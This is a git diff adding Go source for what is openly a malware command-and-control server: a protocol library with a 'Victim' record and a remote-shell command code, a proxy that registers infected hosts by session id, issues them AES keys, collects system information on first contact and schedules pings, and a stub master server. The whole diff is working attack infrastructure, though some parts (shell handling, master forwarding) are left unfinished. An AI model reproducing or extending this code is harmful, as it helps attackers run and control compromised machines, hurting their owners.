diff options
Diffstat (limited to 'source/tools/host/go')
-rw-r--r-- | source/tools/host/go/cnclib/miller_consts.go | 98 | ||||
-rw-r--r-- | source/tools/host/go/cnclib/miller_victim.go | 165 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/Makefile | 37 | ||||
m--------- | source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux | 0 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/http.go | 29 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/main.go | 31 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/Makefile | 42 | ||||
m--------- | source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux | 0 | ||||
m--------- | source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker | 0 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/http.go | 224 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/main.go | 48 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/manager.go | 84 |
12 files changed, 758 insertions, 0 deletions
diff --git a/source/tools/host/go/cnclib/miller_consts.go b/source/tools/host/go/cnclib/miller_consts.go new file mode 100644 index 0000000..388c25c --- /dev/null +++ b/source/tools/host/go/cnclib/miller_consts.go @@ -0,0 +1,98 @@ +package miller + +import ( + "fmt" +) + + +const KEY_256 uint8 = (256/8) +const MARKER_SIZ uint8 = 8 +const AESKEY_SIZ uint8 = 32 +const HW_PROFILE_GUIDLEN uint8 = 39 +const MAX_PROFILE_LEN uint8 = 80 + +const RF_INITIAL uint8 = 0x00 +const RF_AGAIN uint8 = 0x41 +const RF_ERROR uint8 = 0x42 +const RF_OK uint8 = 0x66 + +const RC_INFO uint16 = 0xACAB +const RC_REGISTER uint16 = 0xAABB +const RC_PING uint16 = 0x0043 +const RC_SHELL uint16 = 0x0044 + +func RCtoString(rc uint16) string { + switch rc { + case RC_INFO: + return "RC_INFO" + case RC_REGISTER: + return "RC_REGISTER" + case RC_PING: + return "RC_PING" + case RC_SHELL: + return "RC_SHELL" + default: + return "UNKNOWN" + } +} + +type HttpResp struct { + StartMarker [MARKER_SIZ]byte + RespFlags uint8 + RespCode uint16 + Pkgsiz uint32 + Pkgbuf []byte +} + +func (hr *HttpResp) String() string { + return fmt.Sprintf("Marker: '%s', Flags: 0x%04X, Code: 0x%04X, " + + "PKGSIZ: 0x%04X, PKGBUF: '%v'", + hr.StartMarker, hr.RespFlags, hr.RespCode, + hr.Pkgsiz, hr.Pkgbuf) +} + +type RespRegister struct { + Aeskey [AESKEY_SIZ]byte + NextPing uint32 +} + +type RespPong struct { + NextPing uint32 +} + +type RespShell struct { + Operation uint8 + Showcmd uint8 + FileLen uint16 + ParamLen uint16 + DirLen uint16 + Data []byte +} + +type SYSTEM_INFO_32 struct { + ProcessorArchitecture uint16 + Reserved uint16 + PageSize uint32 + MinimumApplicationAddress uint32 + MaximumApplicationAddress uint32 + ActiveProcessorMask uint32 + NumberOfProcessors uint32 + ProcessorType uint32 + AllocationGranularity uint32 + ProcessorLevel uint16 + ProcessorRevision uint16 +} + +type HW_PROFILE_INFOA struct { + DockInfo uint32 + HwProfileGuid [HW_PROFILE_GUIDLEN]byte + HwProfileName [MAX_PROFILE_LEN]byte +} + +type ReqInfo struct { + SI SYSTEM_INFO_32 + HW HW_PROFILE_INFOA + CmdLineLen uint16 + DevsLen uint8 + Data []byte +} diff --git a/source/tools/host/go/cnclib/miller_victim.go b/source/tools/host/go/cnclib/miller_victim.go new file mode 100644 index 0000000..15f7917 --- /dev/null +++ b/source/tools/host/go/cnclib/miller_victim.go @@ -0,0 +1,165 @@ +package miller + +import ( + "github.com/zhuangsirui/binpacker" + + "fmt" + "time" + "encoding/json" + "encoding/binary" + //"encoding/hex" + "bytes" +) + + +type Victim struct { + Last_rf_rx uint8 `json:"LRFRX"` + Last_rc_rx uint16 `json:"LRCRX"` + Last_rf_tx uint8 `json:"LRFTX"` + Last_rc_tx uint16 `json:"LRCTX"` + Last_active time.Time `json:"LA"` + Last_json time.Time `json:"LJ"` + Aeskey [AESKEY_SIZ]byte `json:"AK"` + Requests uint `json:"REQS"` +} + + +func NewVictim() *Victim { + return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 } +} + +func (v *Victim) Reset() { + v.Last_rf_rx = 0 + v.Last_rf_rx = 0 +} + +func (v *Victim) String() string { + return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " + + "last_rc_tx: 0x%04X, aeskey: '%v', requests: %v", + v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests) +} + +func (v *Victim) ToJSON(debug_only bool) ([]byte, error) { + if !debug_only { + v.Last_json = time.Now() + } + return json.Marshal(v) +} + +func (v *Victim) FromJSON(json_input []byte) error { + return json.Unmarshal(json_input, v) +} + +func copySliceToArray(dest []byte, src []byte, siz int) error { + if len(src) != len(dest) { + return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest)) + } + copied := copy(dest[:], src) + if copied != siz { + return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz) + } + return nil +} + +func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(MARKER_SIZ)) +} + +func ParseMarkerResponse(response *HttpResp, src []byte) error { + return ParseMarker(&response.StartMarker, src) +} + +func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(AESKEY_SIZ)) +} + +func ParseAESKeyResponse(response *RespRegister, src []byte) error { + return ParseAESKey(&response.Aeskey, src) +} + +func (v *Victim) SetAESKey(aeskey []byte) error { + return ParseAESKey(&v.Aeskey, aeskey) +} + +func (v *Victim) HasAESKey() bool { + var nullkey [AESKEY_SIZ]byte + return !bytes.Equal(v.Aeskey[:], nullkey[:]) +} + +func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error { + buffer := bytes.NewBuffer(dest) + unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer) + marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ)) + if err != nil { + return fmt.Errorf("marker: %s", err) + } + if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) { + return fmt.Errorf("marker: copy failed") + } + v.Last_active = time.Now() + unpacker.FetchUint8(&response.RespFlags) + v.Last_rf_rx = response.RespFlags + unpacker.FetchUint16(&response.RespCode) + v.Last_rc_rx = response.RespCode + if !v.HasAESKey() { + v.Last_rc_rx = RC_REGISTER + } + unpacker.FetchUint32(&response.Pkgsiz) + response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz)) + if err != nil { + return fmt.Errorf("pkgbuf: %s", err) + } + v.Requests++ + return nil +} + +func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(response.StartMarker[:]) + packer.PushUint8(response.RespFlags) + v.Last_rf_tx = response.RespFlags + packer.PushUint16(response.RespCode) + v.Last_rc_tx = response.RespCode + packer.PushUint32(response.Pkgsiz) + packer.PushBytes(response.Pkgbuf) + err := packer.Error() + if err != nil { + v.Reset() + return nil, err + } + return append(dest, buffer.Bytes()...), nil +} + +func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(respreg.Aeskey[:]) + packer.PushUint32(respreg.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushUint32(respong.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) { + response.Pkgsiz = 0 + response.Pkgbuf = nil + return v.buildResponse(response, dest) +} diff --git a/source/tools/host/go/cncmaster/Makefile b/source/tools/host/go/cncmaster/Makefile new file mode 100644 index 0000000..7f026da --- /dev/null +++ b/source/tools/host/go/cncmaster/Makefile @@ -0,0 +1,37 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncmaster +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go http.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(BIN): $(DEP_MUX) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncmaster/http.go b/source/tools/host/go/cncmaster/http.go new file mode 100644 index 0000000..a9648ce --- /dev/null +++ b/source/tools/host/go/cncmaster/http.go @@ -0,0 +1,29 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + w.Write([]byte("Hello!")) +} diff --git a/source/tools/host/go/cncmaster/main.go b/source/tools/host/go/cncmaster/main.go new file mode 100644 index 0000000..1845800 --- /dev/null +++ b/source/tools/host/go/cncmaster/main.go @@ -0,0 +1,31 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +const verbose = true +const listen_tpl = "127.0.0.1:8081" + +func main() { + rtr := mux.NewRouter() + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCMASTER: Listening on " + listen_tpl + "...") + http.ListenAndServe(listen_tpl, logRequest(http.DefaultServeMux)) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/Makefile b/source/tools/host/go/cncproxy/Makefile new file mode 100644 index 0000000..44e3b32 --- /dev/null +++ b/source/tools/host/go/cncproxy/Makefile @@ -0,0 +1,42 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncproxy +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go manager.go http.go +DEP_CNCLIB := ../cnclib/miller_consts.go ../cnclib/miller_victim.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go +DEP_PACKER := deps/src/github.com/zhuangsirui/binpacker/packer.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(DEP_PACKER): + GOPATH=$(GOPATH) $(GOCC) get -v github.com/zhuangsirui/binpacker + +$(BIN): $(DEP_MUX) $(DEP_PACKER) $(DEP_CNCLIB) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker b/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker new file mode 160000 +Subproject 08a1b297435a414bec3ccf4215ff546dba41815 diff --git a/source/tools/host/go/cncproxy/http.go b/source/tools/host/go/cncproxy/http.go new file mode 100644 index 0000000..8e82662 --- /dev/null +++ b/source/tools/host/go/cncproxy/http.go @@ -0,0 +1,224 @@ +package main + +import ( + "../cnclib" + "github.com/gorilla/mux" + + "fmt" + "log" + "io" + "net/http" + "encoding/binary" + "encoding/hex" + "crypto/rand" + "bytes" +) + + +func miller_to_master(v *miller.Victim, url *string) error { + _, err := v.ToJSON(false) + if err != nil { + return err + } + return nil +} + +func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) { + var valid bool + var req miller.HttpResp + var err error + read_form, err := r.MultipartReader() + if err != nil { + return false, err + } + + for { + part, err := read_form.NextPart() + if err == io.EOF { + break + } + + if part.FormName() == "upload" { + buf := new(bytes.Buffer) + buf.ReadFrom(part) + if verbose { + log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes())) + } + err = v.ParseRequest(buf.Bytes(), &req) + if err != nil { + return false, err + } + if verbose { + log.Printf("HTTP REQUEST(%v)", &req) + } + valid = true + } + } + + if !valid { + return false, nil + } + return true, nil +} + +func miller_randbytes(n int) ([]byte, error) { + b := make([]byte, n) + _, err := rand.Read(b) + if err != nil { + return nil, err + } + + return b, nil +} + +func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) { + var err error + var buffer []byte + var resp miller.HttpResp + + err = miller.ParseMarkerResponse(&resp, []byte(*marker)) + if err != nil { + return nil, err + } + + log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx)) + switch v.Last_rc_rx { + case miller.RC_REGISTER: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_REGISTER + resp_reg, err := NewRegisterResponse(5, v) + if err != nil { + return nil, err + } + buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer) + if err != nil { + return nil, err + } + if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 { + log.Printf("FIRST CONTACT: Grabbing some information !!") + resp.RespFlags = miller.RF_AGAIN + resp.RespCode = miller.RC_INFO + buffer, err = v.BuildInfoResponse(&resp, buffer) + } + break + case miller.RC_INFO: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + case miller.RC_PING: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + default: + return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx) + } + + return buffer, nil +} + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + fake_resp := miller.HttpResp{} + if r.ContentLength < int64(binary.Size(fake_resp)) { + log.Printf("Fake response has invalid size.") + http.NotFound(w, r) + return + } + + if verbose { + log.Printf("---------- %s ----------", "REQUEST") + } + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + var err error + var v *miller.Victim + v = mgr.GetVictim(&sid) + if v == nil { + v = miller.NewVictim() + mgr.SetVictim(v, &sid) + } + if !mgr.PushVictim(&sid) { + log.Printf("ERROR Victim is already known to the Manager!") + http.NotFound(w, r) + return + } + + valid, err := miller_http_request(v, r) + if err != nil { + log.Printf("ERROR miller_http_request: '%s'", err) + } + if !valid { + log.Printf("ERROR Victim HTTP Request was invalid!") + http.NotFound(w, r) + return + } + + buffer, err := miller_state_machine(v, &marker) + if err != nil { + log.Printf("ERROR miller_state_machine: '%s'", err) + } + if buffer == nil { + log.Printf("ERROR binary buffer was empty after miller_state_machine") + http.NotFound(w, r) + return + } + + if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 { + log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid) + } + + if verbose { + log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer)) + log.Printf("VICTIM STATE(%s)", v) + json_out, err := v.ToJSON(true) + if err == nil { + log.Printf("VICTIM JSON(%s)", string(json_out)) + } + log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE") + } + + mgr.PopVictim(&sid) + + w.Write(buffer) +} + +func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) { + respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping } + aeskey, err := miller_randbytes(int(miller.KEY_256)) + if err != nil { + return nil, err + } + err = miller.ParseAESKeyResponse(&respreg, aeskey) + if err != nil { + return nil, err + } + victim.SetAESKey(aeskey) + return &respreg, nil +} + +func NewPongResponse(next_ping uint32) miller.RespPong { + return miller.RespPong{ next_ping } +} diff --git a/source/tools/host/go/cncproxy/main.go b/source/tools/host/go/cncproxy/main.go new file mode 100644 index 0000000..b5cc9ef --- /dev/null +++ b/source/tools/host/go/cncproxy/main.go @@ -0,0 +1,48 @@ +package main + +import ( + "github.com/gorilla/mux" + + "flag" + "log" + "net/http" +) + + +var mgr manager +var verbose bool + +const default_listen_tpl = "127.0.0.1:8080" +const default_master_tpl = "127.0.0.1:8081" +const default_verbose = false + + +func main() { + listen_tpl := flag.String("listen", default_listen_tpl, + "CNCProxy listen address.") + master_tpl := flag.String("master", default_master_tpl, + "CNCMaster connect address.") + verbose = *flag.Bool("verbose", default_verbose, + "CNCProxy verbose mode") + flag.Parse() + + mgr = NewManager() + rtr := mux.NewRouter() + /* /.miller_pahhj0099wjtu87vdgtl8fq8k4zmh0is_sbmkuj97_rg38n6bop9m5htrbeyyx0ljx26gbjxdx5nztp4a1wfowdsyyqnzts0r440logk91 */ + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCProxy: Listening on " + *listen_tpl + "...") + log.Println("CNCProxy: Forwarding to CNCMaster at " + *master_tpl) + log.Fatal(http.ListenAndServe(*listen_tpl, logRequest(http.DefaultServeMux))) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/manager.go b/source/tools/host/go/cncproxy/manager.go new file mode 100644 index 0000000..cd778be --- /dev/null +++ b/source/tools/host/go/cncproxy/manager.go @@ -0,0 +1,84 @@ +package main + +import ( + "../cnclib" + + "sync" +) + +type victim_data struct { + v *miller.Victim + in_use bool + lock sync.Mutex +} + +type manager struct { + victims map[string]victim_data + lock sync.Mutex +} + + +func NewManager() manager { + return manager{ make(map[string]victim_data), sync.Mutex{} } +} + +func (m *manager) SetVictim(v *miller.Victim, sid *string) { + m.lock.Lock() + defer m.lock.Unlock() + vd := victim_data{} + vd.v = v + m.victims[*sid] = vd +} + +func (m *manager) getVictim(sid *string) *victim_data { + m.lock.Lock() + defer m.lock.Unlock() + ret, ok := m.victims[*sid] + if ok { + return &ret + } + return nil +} + +func (m *manager) GetVictim(sid *string) *miller.Victim { + vd := m.getVictim(sid) + if vd == nil { + return nil + } + if !m.VictimInUse(sid) { + return vd.v + } + return nil +} + +func (m *manager) VictimInUse(sid *string) bool { + vd := m.getVictim(sid) + if vd == nil { + return false + } + vd.lock.Lock() + defer vd.lock.Unlock() + return vd.in_use +} + +func (m *manager) PushVictim(sid *string) bool { + if m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = true + return true +} + +func (m *manager) PopVictim(sid *string) bool { + if !m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = false + return true +} |